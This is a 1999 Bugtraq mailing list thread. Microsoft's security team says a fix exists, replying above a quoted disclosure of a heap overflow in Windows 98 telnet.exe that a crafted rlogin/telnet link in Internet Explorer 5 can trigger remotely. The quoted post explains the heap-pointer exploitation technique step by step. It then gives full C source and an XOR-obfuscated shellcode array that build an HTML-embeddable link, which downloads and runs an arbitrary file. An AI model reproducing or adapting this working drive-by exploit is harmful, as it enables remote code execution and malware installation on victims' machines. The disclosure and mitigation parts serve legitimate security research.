Bugtraq mailing list archives

Re: telnet.exe heap overflow - remotely exploitable


From: secure () MICROSOFT COM (Microsoft Product Security Response Team)
Date: Tue, 17 Aug 1999 18:02:34 -0700


Hi All -

We've had an opportunity to investigate this issue, and want to advise that
a fix already is available.  The vulnerability is fixed in IE 5.0b, which
ships as part of Windows 98 Second Edition.  It also is eliminated by the
patch for the "Malformed Favorites Icon" vulnerability
(http://www.microsoft.com/security/bulletins/ms99-018.asp), which was
released in May.   The reason that the security bulletin did not discuss
this fix is because we discovered the unchecked buffer during a routine code
review, and corrected it as a code quality issue.

The vulnerability is present in IE 4.0 as well, and we are developing a
patch that we'll release shortly.  When the IE 4.0 patch is available, we'll
release a security bulletin that discusses the issue and where to get the
patch.  Regards,

Secure () microsoft com

-----Original Message-----
From: Jeremy Kothe [mailto:paceflow () HOTMAIL COM]
Sent: Sunday, August 15, 1999 3:02 PM
To: BUGTRAQ () SECURITYFOCUS COM
Subject: telnet.exe heap overflow - remotely exploitable

Heap Overflow in windows 98 Telnet.exe - remote via IE5
------------------------------------------------------------
Jeremy Kothe (jeremy () edi com au or paceflow () hotmail com)

More fun and games courtesy of Microsoft (c:)...

Telnet.exe - (77824 bytes, 11th May 98)
---------------------------------------
This version of Telnet (which ships as part of Windows 98)
has a bug which allows a heap overrun. It assumes
that the first command-line argument will be <255 chars
when preparing for the "Connect Failed" message-box. The
result is that a few crucial bytes can be written over,
which, as the telnet app is closing, allow full execution
of arbitrary code. See below for full details...

This is still all local, though, so let's skip to the
REMOTE part.

IE 5.00.2314.1003/5.00.2314.1003IC
----------------------------------
Internet Explorer automatically invokes telnet when given
an "rlogin:", "telnet:" or "tn3270:" protocol URL. Earlier
versions of IE which I experimented with had comparitively
tight restrictions on the format of the url, only allowing
two parameters through (two zeros to you and me ;) As it
turns out, this is not enough (for me) to exploit the bug.
But with the versions named above, which as of writing
include the latest version Microsoft would let me
download, the restrictions seem to have been lifted. I can
only assume that this is either unintentional, or that
tn3270 or telnet applications have been found which makes
this desirable... Whatever! The end result is that it
seems the most recent versions of IE 5 will faithfully
pass any collection of parameters up to about 460 chars
into telnet.exe.

Systems at risk
---------------
Windows 98 default installation with SOME versions of IE5.
If you click on a link, or are refreshed to a link, then
see telnet.exe pop-up, complaining that it can't connect
to a garbage-type address, DO NOT close the telnet
executable. Instead, either forcefully terminate the
process, or reboot. The exploit does NOT take effect until
telnet.exe is closing.

Solution
--------
Either remove telnet.exe from the path, so IE cannot launch
it, or get a copy of the WinNT telnet.exe.

Exploit - introduction
----------------------
Heap overruns are not for the faint of heart. If you have
trouble following stack overrun exploits, turn back now -
or go and learn, then come back.

With a stack overflow, getting the machine to execute into
our buffer is relatively easy. We have, after all,
overwritten the function return address. Point this
(indirectly or not) at the esp and you're in business.
Without this benefit, we have a much tougher time
exploiting the overrun. In fact it is entirely possible
that no exploit is possible.

It all depends on what follows our buffer in memory.

The best candidates for overwriting are pointers. If we can
overwrite one which the program subsequently uses, we have
a chance to make something happen.

The trick is to ignore what the program is trying to do,
and to look at what it's doing.

One core idea I've found to be of value is this: One way to
get execution onto the stack is to find a way to manipulate
our uncorrupted stack. Often you will find a pointer to the
stack (or command-line) somewhere not far from the top (of
the stack). If it can be moved only a few bytes, or we can
conspire to pop more than we push, we can then return to
our buffer.

Exploit - Intermediate - (Tools: SoftICE/IDA/PSEDIT)
----------------------------------------------------
The overrun we are presented with is only a handfull of
bytes, just enough to overwrite one pointer value following
the buffer in memory. This pointer, as it turns out,
originally points to an array of 1024 pointers, which are
either NULL, or point in turn to a 16-byte structure. From
context this seems to be a file-handle table of sorts.

When I examined the routine (fflush) where we end up
referencing the pointer, it turns out that the code
iterates thru the 1024 pointers, and for each non-NULL
entry, it examines and conditionally changes the 16 byte
structure pointed to. It is the change we are interested
in.

If the structure is represented as:
  DWORD dw1, dw2, dw3

then the effect of the change is:
  dw1 = dw3
  dw2 = 0

Whilst examining various locations in memory where out
exploit string ends up (there are a couple, as the
command-line get passed, then parsed), I found one where
the following 4k was allocated and 99% zeros.

I also found at the top of the stack, about 12 bytes back,
a pointer to our exploit string (WinMain lpCmdLine anyone),
which was ripe to be copied down 8-bytes to overwrite a
return address.

Now ideally, if the memory I found was all blank, all I'd
need to do would be to arrange for the trailing bytes of my
exploit string to point to the appropriate place on the
stack. This last DWORD, followed by 1024 DWORD zeros, would
serve as a faux handle table which would overwrite a return
address with a pointer to our exploit.

Are you with me... If not, go back now.

In the actual case I found there were indeed 1024 zeros,
but there was also one non-zero DWORD directly after my
exploit and before the zeros. I needed to remove these
values for the table to not crash... so I used the same
technique over again to remove it - adding another entry at
the top of our table pointing to the offending location
neatly removes it, then the second entry does the actual
work, and the rest of the table is empty.

Done. Complete. Works.

Exploit Attached
----------------
I have worked out an exploit which downloads and runs an
arbitrary file, and have included the source for a Visual
C++ program to create a binary file containing the exploit
as a link. Add (for example) an html header and footer, and
you have it.

Notes: The exploit uses URLDownloadToCacheFile and WinExec.
Disassembling the binary file will show you the code
(strings have been xor'ed with 0xFADE).
Any comments on the exploit code would be appreciated.

------------------------------------------------------------
#include <stdio.h>
#include <afx.h>
#include <windows.h>

void Usage( void ) {
  printf( "Usage: exfact url(40) outfile\n" );
}

#define URL_OFFSET 48

unsigned char aSploit[] = {
  0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,
  0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,
  0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,
  0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,
  0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,
  0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,
  0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,
  0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,
  0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,
  0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53,
  0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,
  0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,
  0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,
  0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,
  0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,
  0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,
  0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35,
  0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02,
  0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,
  0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,
  0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,
  0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,
  0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
  0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
  0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
  0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
  0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
  0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
  0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
  0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
  0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
  0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56,
};

int main( int argc, char *argv[] ) {

  if( argc == 3 ) {
    DWORD dwURLlen = strlen( argv[ 1 ] )+1;
    if( dwURLlen < 40 ) {
      HANDLE h = CreateFile(
        argv[ 2 ],
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        0,
        0 );

      if ( h == INVALID_HANDLE_VALUE ) {
        printf( "Error creating %s\n", argv[ 2 ] );
        return( 0 );
      }

      DWORD dwWrit = 0;
      if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||
       ( dwWrit != URL_OFFSET ) )
        goto writeerr;

      for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )
        *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use
htons?
      *PWORD( p ) ^= 0xdefa;

      if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||
        ( dwWrit != dwURLlen ) )
        goto writeerr;

      DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );
      if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,
        &dwWrit, NULL ) || ( dwWrit != dwToWrite ) )
        goto writeerr;

      CloseHandle( h );

      return( 0 );
    }
  }

  Usage();
  return( 1 );

writeerr:
  printf( "Error writing to %s\n", argv[ 2 ] );
  return( 2 );
}

------------------------------------------------------------

P.S. Australian programmer with 19 years experience, C/++,
Asm, Delphi, SQL, IP + more, looking for work overseas.

Jeremy Kothe (jeremy () edi com au or paceflow () hotmail com)

P.P.S. When exposing these type of exploits, it is usual
for the coder to launch into a tirade about Microsoft and
what terrible software it writes to allow these... I feel
that these people are missing the point, though. Microsoft
has risen (very successfully) to the challenge of providing
a couple of GENERAL PURPOSE, incredibly extensive operating
systems for PC's. Anyone who prefers Linux for it's
stability etc. should consider the cost (to the average
end-user) of such stability. Microsoft have concentrated
on the commercial requirements of the corporate Joe, and
have written the software people (not jellyheads) need. Of
course it would be wonderful if Windows was as solid as
secure as a unix installation, but it is simply not the
highest priority for the average PC user.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com


Current thread: